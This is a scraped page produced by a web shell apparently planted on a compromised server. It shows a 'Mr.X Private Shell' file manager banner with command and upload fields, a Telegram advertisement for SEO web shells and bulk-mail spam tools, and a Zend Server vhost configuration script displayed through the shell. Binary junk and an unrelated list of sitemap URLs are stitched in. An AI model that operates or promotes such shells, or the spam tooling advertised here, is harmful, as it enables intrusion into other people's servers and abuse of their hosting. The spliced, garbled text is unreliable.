xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

$global_port = 80;
$apache_version = "2.2";

/**
 * @param $apachectl 
 */
function zend_set_apache_version( $apachectl )
{
    echo "Checking Apache version ..." . PHP_EOL;
    global $apache_version;
    
    $cmd    = "\"" . $apachectl . "\"" . " -v";
    $output = shell_exec( $cmd );
    $output = strtolower( $output );
    echo "Running command '$cmd' " . PHP_EOL;
    if ( preg_match('#apache.(\d+\.\d+)\.\d+#', $output, $matches) ) {
        echo "Apache version is " . $matches[1] . PHP_EOL;
        $apache_version = $matches[1];
    }
}
/**
 * return true if running under Windows
 */
function is_windows()
{
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        return true;
    }
    return false;
}

function is_apache_24()
{
    global $apache_version;
    return (version_compare($apache_version, "2.4", ">=") == 1);
}

function use_apache_include_optional()
{
    global $apache_version;
    $res = (version_compare($apache_version, "2.4", ">=") == 1);
    if ( $res ) {
        echo "Apache Optional directive is set to: IncludeOptional" . PHP_EOL;
    } else {
        echo "Apache Optional directive is set to: Include" . PHP_EOL;
    }
    return $res;
}

function ends_with($haystack, $needle)
{
    $length = strlen($needle);
    $start  = $length * -1; //negative
    return (substr($haystack, $start) === $needle);
}

function starts_with($haystack, $needle)
{
    $length = strlen($needle);
    return (substr($haystack, 0, $length) === $needle);
}

/** parse the output of the apachectl and return a list of
 * all known vhosts to the caller
 */
function zend_list_apache_vhosts( $apachectl )
{

    $cmd    = "\"" . $apachectl . "\"" . " -S 2>&1";
    $output = shell_exec( $cmd );
    $lines  = explode("\n", $output);
    $ports  = array();

    $curport = 0;
    $curhost = "";
    $next_is_default = false;
    $found_default   = false;
    foreach($lines as $line) {
        if( strstr($line, "[error]") != '' ) {
            continue;
        }

        if( strstr($line, "[warn]") != '' ) {
            continue;
        }

        if ( strstr($line, "Syntax error" ) != '' ) {
            echo "ERROR: " . $cmd . " returned with error\n";
            exit (2);
        }

        if(!$found_default && stripos($line, "_default_") > 0) {
            $next_is_default = true;
            $found_default   = true;
            continue;
        }

        $isWhitespace = starts_with($line, "\t") || starts_with($line, " ");

        $match2 = preg_match("/(.*?):(\d+|\*)(.*?)\((.*?):(\d+)\)/s", $line, $regMatches);
        if( $match2 && !$isWhitespace ) {
            $entry = array($regMatches[1], $regMatches[2], $regMatches[4], $regMatches[5], $next_is_default);
            if( !in_array ($entry, $ports) ) {
                $ports[] = $entry;
            }
            $curhost = $regMatches[1];
            $curport = $regMatches[2];
            $next_is_default = false;

        } else {
            $match1 = preg_match("/(.*?):(\d+|\*) /s", $line, $regMatches);
            if( $match1 && !$isWhitespace) {

                $curhost = $regMatches[1];
                $curport = $regMatches[2];

            } else {
                $match3 = preg_match("/\((.*?):(\d+)\)/s", $line, $regMatches);
                if($match3) {
                    $entry = array($curhost, $curport, $regMatches[1], $regMatches[2], $next_is_default);
                    if( !in_array ($entry, $ports) ) {
                        $ports[] = $entry;
                    }
                    $next_is_default = false;
                }
            }
        }
    }
    return $ports;
}

/** recurse into apache's configuration files
 ** and collect all 'Listen' ports
 **/
function zend_parse_apache_config_files ( $filename, &$ports_founded )
{
    // read the current file
    $file_content = file( $filename );

    foreach ( $file_content as $file_line ) {

        $file_line = trim( $file_line );
        if(starts_with($file_line, "#")) {
            continue;
        }

        // Match Include statement
        $num_matches = preg_match("/Include[ ]+[\"]{0,1}(.*?)[\"]{0,1}$/s", $file_line, $regMatches);
        if( $num_matches ) {

            $file_to_follow = zend_expand_file( $regMatches[1] );
            if($file_to_follow == "")
                continue;

            $files_matches = glob( $file_to_follow );
            foreach ( $files_matches as $fn ) {
                zend_parse_apache_config_files( $fn, $ports_founded );
            }

        }

        if(preg_match("/Listen[ ]+(.*?):(\d+)/s", $file_line, $regMatches)) {
            // Listen IP/HOST:PORT
            $ports_founded [] = $regMatches[2];

        } else if(preg_match("/Listen[ ]+(\d+)/s", $file_line, $regMatches)) {
            // Listen PORT
            $ports_founded [] = $regMatches[1];

        }
    }
}

function zend_expand_file( $file_name )
{
    $tmp_file = $file_name;
    $tmp_file = trim($tmp_file);       // remove whitespaces
    $tmp_file = rtrim($tmp_file, '"'); // remove any trailing qoutes

    $file_to_follow = $tmp_file;
    $file_to_follow = trim($file_to_follow);

    if(strstr($file_to_follow, "*") != '') {
        if ( !is_windows() && !starts_with($file_to_follow, "/") ) {
            // File is not absolute, prepend the apache directory 
            $file_to_follow = $_GET["apacheDir"] . "/" . $file_to_follow;
        }
        return $file_to_follow;
    }

    // found an include statement
    if( !file_exists($file_to_follow) ) {
        $file_to_follow = $_GET["apacheDir"] . "/" . $file_to_follow;
        if( !file_exists($file_to_follow) ) {
            return "";
        }
    }

    // if it is a directory, and it does not include '*' append one
    if((ends_with($file_to_follow, "/") || ends_with($file_to_follow, "\\")) && strstr($file_to_follow, "*") == '') {
        $file_to_follow .= "*";
    }

    return $file_to_follow;
}

/**
 * get best port based on the following logic:
 * - If port 80 is present, use it
 * - If port 8080 is present, use it
 * - else, use the first one in the list
 */
function zend_get_best_port( $ports_found )
{
    $defaultVhostPort = 80;
    if(in_array(80, $ports_found)) {
        $defaultVhostPort = 80;

    } else if(in_array(8080, $ports_found)) {
        $defaultVhostPort = 8080;

    } else {
        $defaultVhostPort = $ports_found[0];
    }
    echo "WebServer port found: " . $defaultVhostPort . PHP_EOL;
    return $defaultVhostPort;
}

function nginx_get_default_vhost_conf($mainConfFile)
{
    $defaultHostConfigFile = dirname($mainConfFile) . "/sites-enabled/000-default.conf";
    if (!file_exists($defaultHostConfigFile)) {
        $defaultHostConfigFile = dirname($mainConfFile) . "/sites-enabled/default";
        if (!file_exists($defaultHostConfigFile)) {
            $defaultHostConfigFile = dirname($mainConfFile) . "/conf.d/default.conf";
            if (!file_exists($defaultHostConfigFile)) {
                $defaultHostConfigFile = dirname($mainConfFile) . "/nginx.conf";
            }
        }
    }

    if (!file_exists($defaultHostConfigFile)) {
        echo "Cannot locate nginx default vhosts configuration file" . PHP_EOL;
        return "";
    }

    return $defaultHostConfigFile;
}

function zend_uninstall_nginx_hooks($configFile)
{

    if (stripos(PHP_OS, "win") === 0) {
        $files = array($configFile);
    } else {
        $defaultHostConfigFile = nginx_get_default_vhost_conf($configFile);
        $files = array($configFile, $defaultHostConfigFile);
    }

    foreach ($files as $filename) {
        $needToDelete = false;
        $contents = file($filename);
        foreach($contents as $line => $str) {
            if (strstr($str, "#ZEND-")) {
                unset($contents[$line]);
                $needToDelete = !$needToDelete;
            }
            if ($needToDelete) {
                unset($contents[$line]);
            }
        }

        file_put_contents($filename, implode("", $contents));
        echo "Removed hooks from $filename" . PHP_EOL;
    }
}

/** The main entry point for the nginx installation script */
function zend_install_default_nginx_vhost( $configFile, $ctl, &$depth )
{

    if (stripos(PHP_OS, "win") === 0) {
        $defaultHostConfigFile = $configFile;
    } else {
        $defaultHostConfigFile = nginx_get_default_vhost_conf($configFile);
    }
    echo "Default host configuration file at $defaultHostConfigFile" . PHP_EOL;

    $defaultPort = nginx_get_default_port($defaultHostConfigFile);

    $zddIni = parse_ini_file($_GET['zsDir'] . "/etc/zdd.ini");

    $contents = "include " . $_GET['zsDir'] . "/etc/sites.d/http/__default__/0/*.conf;" . PHP_EOL;
    #$contents .= "root " . $zddIni['zend_deployment.webserver.nginx.docroot'] . ";" . PHP_EOL;
    $contents .= "index index.php index.htm index.html;";

    $filename = $_GET['zsDir'] . "/etc/sites.d/zend-default-vhost-$defaultPort.conf";

    echo "Creating $filename" . PHP_EOL;
    file_put_contents($filename, $contents);

    $signature = zend_get_unique_signature();

    if (!nginx_add_zend_default_vhost_include($defaultHostConfigFile, $filename, $signature)) {
        return;
    }
    nginx_add_zend_vhosts_include($configFile, $signature);
}

function nginx_add_zend_vhosts_include($configFile, $signature)
{
    $origContents = file($configFile);
    $newContents = array();

    $inHttpBlock = false;
    $httpBlockDepth = -1;
    $blockDepth = 0;
    foreach ($origContents as $line) {

        if (stripos(trim($line), "#") === 0) {
            // this is a comment
            $newContents[] = $line;
            continue;
        }

        if (strstr($line, "{")) {
            $blockDepth++;
        }

        $closeLoc = strpos($line, "}");
        if ($closeLoc !== false) {
            if ($httpBlockDepth == $blockDepth) {

                $indent = substr($line, 0, $closeLoc);
                $indent .= "\t";
                $newContents[] = $indent . $signature ;
                $newContents[] = $indent . "include " . $_GET['zsDir'] . "/etc/sites.d/globals-*.conf;" . PHP_EOL;
                $newContents[] = $indent . "include " . $_GET['zsDir'] . "/etc/sites.d/vhost_*.conf;" . PHP_EOL;
                $newContents[] = $indent . $signature;

                $inHttpBlock = false;
            }
            $blockDepth--;
        }

        if (preg_match("#\s*http\s+{#", $line)) {
            $inHttpBlock = true;
            $httpBlockDepth = $blockDepth;
        }

        $newContents[] = $line;
    }

    echo "Installed vhosts hooks" . PHP_EOL;

    file_put_contents($configFile, implode("", $newContents));
}

function nginx_add_zend_default_vhost_include($configFile, $filename, $signature)
{

    $origContents = file($configFile);
    $newContents = array();

    $inServerBlock = false;
    $serverBlockDepth = -1;
    $blockDepth = 0;
    foreach ($origContents as $line) {

        if ($inServerBlock && strstr($line, "#ZEND-")) {
            echo "$configFile already has Zend hooks" . PHP_EOL;
            return false;
        }

        if (stripos(trim($line), "#") === 0) {
            // this is a comment
            $newContents[] = $line;
            continue;
        }

        if (strstr($line, "{")) {
            $blockDepth++;
        }

        $closeLoc = strpos($line, "}");
        if ($closeLoc !== false) {
            if ($serverBlockDepth == $blockDepth) {

                $indent = substr($line, 0, $closeLoc);
                $indent .= "\t";
                $newContents[] = $indent . $signature ;
                $newContents[] = $indent . "include \"$filename\";" . PHP_EOL;
                $newContents[] = $indent . $signature;

                $inServerBlock = false;
            }
            $blockDepth--;
        }

        if (preg_match("#\s*server\s+{#", $line)) {
            $inServerBlock = true;
            $serverBlockDepth = $blockDepth;
        }

        $newContents[] = $line;
    }

    file_put_contents($configFile, implode("", $newContents));
    echo "Installed default vhost hooks" . PHP_EOL;

    return true;
}


function nginx_get_default_port($configFile)
{
    $confContents = file($configFile);

    $inServerBlock = false;
    $serverBlockDepth = -1;
    $portForServer = 0;
    $blockDepth = 0;
    for ($i = 0 ; $i<count($confContents) ; $i++ ) {

        $theLine = $confContents[$i];

        if (stripos(trim($theLine), "#") === 0) {
            // this is a comment
            continue;
        }

        if (strstr($theLine, "{")) {
            $blockDepth++;
        }
        if (strstr($theLine, "}")) {
            if ($serverBlockDepth == $blockDepth) {
                if (!$portForServer) {
                    $portForServer = 80;
                    echo "`listen` on port $portForServer" . PHP_EOL;
                }
                $inServerBlock = false;
            }
            $blockDepth--;
        }

        if (preg_match("#\s*server\s+{#", $theLine)) {
            echo "Found `server` definition in $configFile:$i" . PHP_EOL;
            $serverBlockDepth = $blockDepth;
        }

        if (preg_match("#\s*listen\s+([0-9]+)#", $theLine, $matches)) {
            echo "`listen` detected on port " . $matches[1] . PHP_EOL;
            $portForServer = $matches[1];
        }
    }

    return $portForServer;
}



/** The main entry point for the apache installation script */
function zend_install_default_apache_vhost( $apacheConfigFile, $apachectl, &$depth )
{
    global $global_port;

    if($depth == 2) {

        // we cant enter here more than twice, if we are here on the third attempt
        // it means that something went bad...
        // revert all our changes and output an error
        echo "ERROR: failed to install Zend Hooks, reverting changes...(entered recursion)\n";
        zend_uninstall_apache_hooks($_GET["confFile"]);
        exit (1);

    }

    $depth++;
    // recurse and scan all apache's configuration and
    // get a list of all ports available
    $ports_found = array();
    zend_parse_apache_config_files( $apacheConfigFile, $ports_found );

    if (empty($ports_found)) {
        echo "ERROR: Couldn't find any listening ports from web server config! \n";
    }

    $ports_found = array_unique( $ports_found );

    // get the best port from the list of ports found
    $defaultVhostPort = zend_get_best_port( $ports_found );

    // get the list of vhosts installed on this apache
    $vhosts = zend_list_apache_vhosts( $apachectl );

    // first try to find an exact vhost definition
    $default_vhost_idx   = -1;
    $star_star_vhost_idx = -1;
    $counter             =  0;
    $default_vhost_found = false;

    foreach ( $vhosts as $vhost ) {
        if(!$default_vhost_found && $vhost[0] == "*" && $vhost[1] == $defaultVhostPort) {
            $default_vhost_idx = $counter;
            $default_vhost_found = true;
        }

        if( $vhost[0] == "*" && $vhost[1] == "*" ) {
            $star_star_vhost_idx = $counter;
        }
        $counter++;
    }

    // Check to see if we got our match
    $additional_content = "";
    if( $default_vhost_idx != -1 ) {
        // an exact match was found
        $global_port = $defaultVhostPort;
        install_zend_hook( $vhosts[$default_vhost_idx] );

    } else if( $star_star_vhost_idx != -1 ) {
        // could not find our default vhost in the list
        // but we did find a *:* vhost
        // add our vhost
        $block_content = zend_get_vhost_content($vhosts[$star_star_vhost_idx][2], $vhosts[$star_star_vhost_idx][3]);
        $global_port = $defaultVhostPort;
        zend_add_new_vhost( "*:" . $defaultVhostPort, $vhosts[$star_star_vhost_idx][2], -1, $block_content);
        zend_install_default_apache_vhost($apacheConfigFile, $apachectl, $depth);

    } else {
        // our default vhost is not present nor the
        // *:*
        $global_port = $defaultVhostPort;
        zend_add_new_vhost( "*:" . $defaultVhostPort, $apacheConfigFile, -1, "" );
        zend_install_default_apache_vhost($apacheConfigFile, $apachectl, $depth);
    }

    return $defaultVhostPort;
}

/** read the vhost content and return it to the caller
 * we execlude the 'Include' statement
 */
function zend_get_vhost_content($file_name, $line_number)
{
    echo "zend_get_vhost_content: " . $file_name . ", " . $line_number . "\n";
    $file_content = file( $file_name );
    $cur_line_number = 1;
    $content = "";
    foreach ( $file_content as $file_line ) {

        if($cur_line_number > $line_number) {

            if(strstr( $file_line, "/VirtualHost>") != '' ) {
                return $content;
            }

            $tmp_line = $file_line;
            $tmp_line = trim($tmp_line);
            if(!starts_with($tmp_line, "Include") && !starts_with($tmp_line, "IncludeOptional")) {
                // Non include file
                $content .= $file_line;
            }
        }
        $cur_line_number++;
    }
    return $content;
}

/** generate a unique string which is used has
 * marker in the configuratin file. This is used
 * in the 'uninstall' process
 */
function zend_get_unique_signature()
{
    return strtoupper("#Zend-{" . md5(rand()) . "}\n");
}

/** create a new vhost and add it to the apache configuration file
 */
function zend_add_new_vhost( $vhost_binding, $file_name, $line_number, $block_content )
{
    echo "Adding new vhost: " . $vhost_binding . "\n";
    $oldContent = file($file_name);
    $f = fopen($file_name, "a+b"); // open the file for appending

    $signature = zend_get_unique_signature();
    fwrite($f, PHP_EOL . $signature);
    
    if(!is_apache_24()) {
        fwrite($f, "NameVirtualHost " . $vhost_binding . PHP_EOL);
    }
    
    fwrite($f, "<VirtualHost " . $vhost_binding . ">" . PHP_EOL);
    if($block_content != "") {
        $block_content = rtrim($block_content);
        fwrite($f, $block_content . PHP_EOL);
    }
    fwrite($f, "</VirtualHost>" . PHP_EOL);
    fwrite($f, $signature);

    fflush($f);
    fclose($f);
}

function install_zend_hook( $source_vhost )
{

    global $global_port;

    $zsDir = $_GET["zsDir"];
    $zsDir = rtrim($zsDir, "/");

    $line_to_add = "Include \"$zsDir/etc/sites.d/zend-default-vhost-$global_port.conf\"";
    if($source_vhost[3] == -1) {
        // no line number, place our vhost at the top of the file
        $file_name = $source_vhost[2];
        zend_add_include_file($file_name, 1, $line_to_add);

    } else {
        $file_name   = $source_vhost[2];
        $line_number = $source_vhost[3];
        zend_add_include_file($file_name, $line_number, $line_to_add);

    }
}
/**
 * "inject" the content into the configuraton file in a give
 * file_name / line_number
 */
function zend_add_include_file( $file_name, $line_number, $line_to_add)
{
    global $global_port;
    // Backup the file before proceeding
    zend_backup_file($file_name);
    echo "Adding " . $line_to_add . " to file: " . $file_name . ", " . $line_number . PHP_EOL;
    if(zend_is_include_exists($file_name, $line_to_add))
        return;

    $zsDir = $_GET["zsDir"];
    $zsDir = rtrim($zsDir, "/");

    $oldContent = file($file_name);

    $f = fopen($file_name, "w+b"); // open and empty the file
    $counter = 1; // lines are starting from 1...
    foreach( $oldContent as $singleLine ) {
        fwrite($f, $singleLine);
        if($counter == $line_number) {
            $signature = zend_get_unique_signature();

            fwrite($f, PHP_EOL . $signature);
            fwrite($f, $line_to_add . PHP_EOL);
            fwrite($f, $signature);
        }
        $counter++;
    }

    $signature = zend_get_unique_signature();
    
    $GLOBALS_INCLUDE_LINE = "Include \"$zsDir/etc/sites.d/globals-*.conf\"";
    $SITES_INCLUDE_LINE   = "Include \"$zsDir/etc/sites.d/vhost_*.conf\"";
    if ( use_apache_include_optional() ) {
        $GLOBALS_INCLUDE_LINE = "IncludeOptional \"$zsDir/etc/sites.d/globals-*.conf\"";
        $SITES_INCLUDE_LINE   = "IncludeOptional \"$zsDir/etc/sites.d/vhost_*.conf\"";
    }
    
    // Add Zend include paths
    fwrite($f, PHP_EOL . $signature);
    
    // Add the $GLOBALS_INCLUDE_LINE only if it is not included
    if ( !zend_is_include_exists($file_name, $GLOBALS_INCLUDE_LINE) ) {
        fwrite($f, $GLOBALS_INCLUDE_LINE . PHP_EOL);
    } else {
        echo "Line " . $GLOBALS_INCLUDE_LINE . " already exists, will not add it" . PHP_EOL;
    }
    
    // Add the $GLOBALS_INCLUDE_LINE only if it is not included
    if ( !zend_is_include_exists($file_name, $SITES_INCLUDE_LINE) ) {
        fwrite($f, $SITES_INCLUDE_LINE . PHP_EOL);
    } else {
        echo "Line " . $SITES_INCLUDE_LINE . " already exists, will not add it" . PHP_EOL;
    }
    
    fwrite($f, $signature);
    fclose($f);

    // create an empty zend default vhost file
    touch($zsDir . "/etc/sites.d/zend-default-vhost-$global_port.conf");

    if (stripos(PHP_OS, "WIN") === 0) {
        $dataDir = "data";
    } else {
        $dataDir = "var";
    }
    
    if ( use_apache_include_optional() ) {
        $fileContent = "IncludeOptional \"$zsDir/etc/sites.d/http/__default__/0/*.conf\"" . PHP_EOL .
                       "<Directory \"$zsDir/$dataDir/apps/http/__default__/0/\">" . PHP_EOL .
                       "\tAllow From All" . PHP_EOL .
                       "</Directory>" . PHP_EOL;
    } else {
        $fileContent = "Include \"$zsDir/etc/sites.d/http/__default__/0/*.conf\"" . PHP_EOL .
                       "<Directory \"$zsDir/$dataDir/apps/http/__default__/0/\">" . PHP_EOL .
                       "\tAllow From All" . PHP_EOL .
                       "</Directory>" . PHP_EOL;
    }
    file_put_contents($zsDir . "/etc/sites.d/zend-default-vhost-$global_port.conf", $fileContent);

    // create the directory specified above
    if(!file_exists("$zsDir/etc/sites.d/http/__default__/0/"))
        @mkdir("$zsDir/etc/sites.d/http/__default__/0/", 0775, true);
}

/** return true if the include statement already exists in
 * the target file
 */
function zend_is_include_exists( $file_name, $line_to_add )
{

    $arr = file($file_name);
    foreach( $arr as $l ) {
        $isIncluded = strstr($l, $line_to_add);
        if($isIncluded != '')
            return true;
    }
    return false;
}

/** uninstall any lines added to apache's configuration files by Zend installer
 */
function zend_uninstall_apache_hooks( $file_name )
{

    // Read the current file
    $file_content = file( $file_name );

    // Dont open the file for write if we dont really need to
    $open_for_modify = false;
    foreach ( $file_content as $ll ) {
        if(strstr($ll, "#ZEND-") != '') {
            $open_for_modify = true;
            break;
        }
    }

    if( $open_for_modify ) {
        $fp = fopen( $file_name, "w+b" );
        if(!$fp) {
            echo "ERROR: failed to open file:" . $file_name . "\n";
            return;
        }
    } else {
        $fp = NULL;
    }

    $signature = "";
    foreach ( $file_content as $file_line ) {

        if($signature == "" && strstr($file_line, "#ZEND-") != '') {
            $signature = trim($file_line);
            continue;
        }

        if( $signature != "" ) {

            // we found a ZEND signature, see if the next line is the
            // terminator
            if(strstr($file_line, $signature) != '') {
                $signature = "";
            }
            continue;

        } else {

            if($open_for_modify) {
                fwrite($fp, $file_line);
            }

            if(strstr($file_line, "#") == '') {
                // Match Include statement
                $num_matches = preg_match("/(Include|IncludeOptional)[ ]+[\"]{0,1}(.*?)[\"]{0,1}$/s", $file_line, $regMatches);
                if( $num_matches ) {
                    $file_to_follow = zend_expand_file( $regMatches[2] );
                    if($file_to_follow == "") {
                        echo "WARNING: could not expand " . $regMatches[2] . "\n";
                        continue;
                    }

                    $files_matches = glob( $file_to_follow );
                    foreach ( $files_matches as $fn ) {
                        zend_uninstall_apache_hooks( $fn );
                    }
                }
            }
        }
    }

    if($open_for_modify)
        fclose($fp);
}

function zend_backup_file($filename)
{
    /////////////////////////////////////////////
    // Backup apache config file before we start
    /////////////////////////////////////////////
    if (stripos(PHP_OS, "WIN") === 0) {
        $dataDir = "data";
    } else {
        $dataDir = "var";
    }
    $backupDir = $_GET["zsDir"] . "/" . $dataDir . "/backups";
    if(!file_exists( $backupDir )) {
        echo "WARNING: Could not find backup directory: " . $backupDir . PHP_EOL;
    } else {
        // Back it up
        $sourceFile = $filename;
        $targetFile = $backupDir . "/" . basename( $sourceFile );
        if( !copy($sourceFile, $targetFile) ) {
            echo "WARNING: Failed to backup file: " . $sourceFile . " => " . $targetFile . PHP_EOL;
        } else {
            echo "Apache configuration file was backedup successfully: " . $sourceFile . " => " . $targetFile . PHP_EOL;
        }
    }
}

$webserver = "";

/**
 * Main
 */
if(isset($_GET["apachectl"]))
{
    $webserver = "apache";
}

if(isset($_GET["nginxctl"]))
{
    $webserver = "nginx";
}

if (!$webserver)
{
    echo "ERROR: Missing GET parameter webserver ctl (apachectl/nginxctl)\n";
    exit(1);
}

if(!isset($_GET["zsDir"]))
{
    echo "ERROR: Missing GET parameter zsDir\n";
    exit(1);
}

if(!isset($_GET["confFile"]))
{
    echo "ERROR: Missing GET parameter confFile\n";
    exit(1);
}

if(!isset($_GET["apacheDir"]) && ($webserver == "apache"))
{
    echo "ERROR: Missing GET parameter apacheDir\n";
    exit(1);
}

if(isset($_GET["uninstall"]))
{
    if ($webserver == "apache") {
        zend_set_apache_version($_GET["apachectl"]);
        zend_uninstall_apache_hooks($_GET["confFile"]);
    } else {
        zend_uninstall_nginx_hooks($_GET["confFile"]);
    }

} 
else
{
    $depth = 0;
    echo "Running zend_modify_vhost.php ..." . PHP_EOL;
    if ($webserver == "apache") {
        zend_set_apache_version($_GET["apachectl"]);
        zend_install_default_apache_vhost( $_GET["confFile"],
                                           $_GET["apachectl"],
                                           $depth);
    } else {
        zend_install_default_nginx_vhost( $_GET["confFile"],
                                          $_GET["nginxctl"],
                                          $depth);
    }
    echo "Running zend_modify_vhost.php ... done" . PHP_EOL;
}

Filemanager

Name Type Size Permission Actions
azure-plugins Folder 0755
minify Folder 0755
plugins Folder 0755
zray-cleanup-scripts Folder 0755
devbar_footer.html File 18.69 KB 0644
devbar_footer_azure.html File 16.58 KB 0644
devbar_footer_sa.html File 16.54 KB 0644
devbar_header.html File 1.37 KB 0644
zend_apc_wrapper.php File 2.01 KB 0644
zend_modify_vhost.php File 26.11 KB 0644
zs_apm_db_handler.php File 3.59 KB 0644
zs_component_upgrader.php File 17.99 KB 0644
zs_create_databases.php File 7.69 KB 0644
zs_db_settings.php File 2.15 KB 0644
zs_deployment_db_handler.php File 20.77 KB 0644
zs_devbar_db_handler.php File 3.22 KB 0644
zs_gui_db_handler.php File 15.35 KB 0644
zs_ini_parser.php File 14.91 KB 0644
zs_jq_db_handler.php File 11.81 KB 0644
zs_maintenance.php File 31.99 KB 0644
zs_merge_ini.php File 9.37 KB 0644
zs_monitor_2019_0_0_db_handler.php File 2.83 KB 0644
zs_monitor_db_handler.php File 5.44 KB 0644
zs_optimize_tables.php File 2.02 KB 0644
zs_pagecache_db_handler.php File 2.61 KB 0644
zs_pagecache_purge_db_handler.php File 1.57 KB 0644
zs_product_definitions.php File 65 B 0644
zs_statistics_db_handler.php File 9.05 KB 0644
zs_statsd_db_handler.php File 2.13 KB 0644
zs_tracing_db_handler.php File 3.53 KB 0644
zs_zsd_db_handler.php File 43.89 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml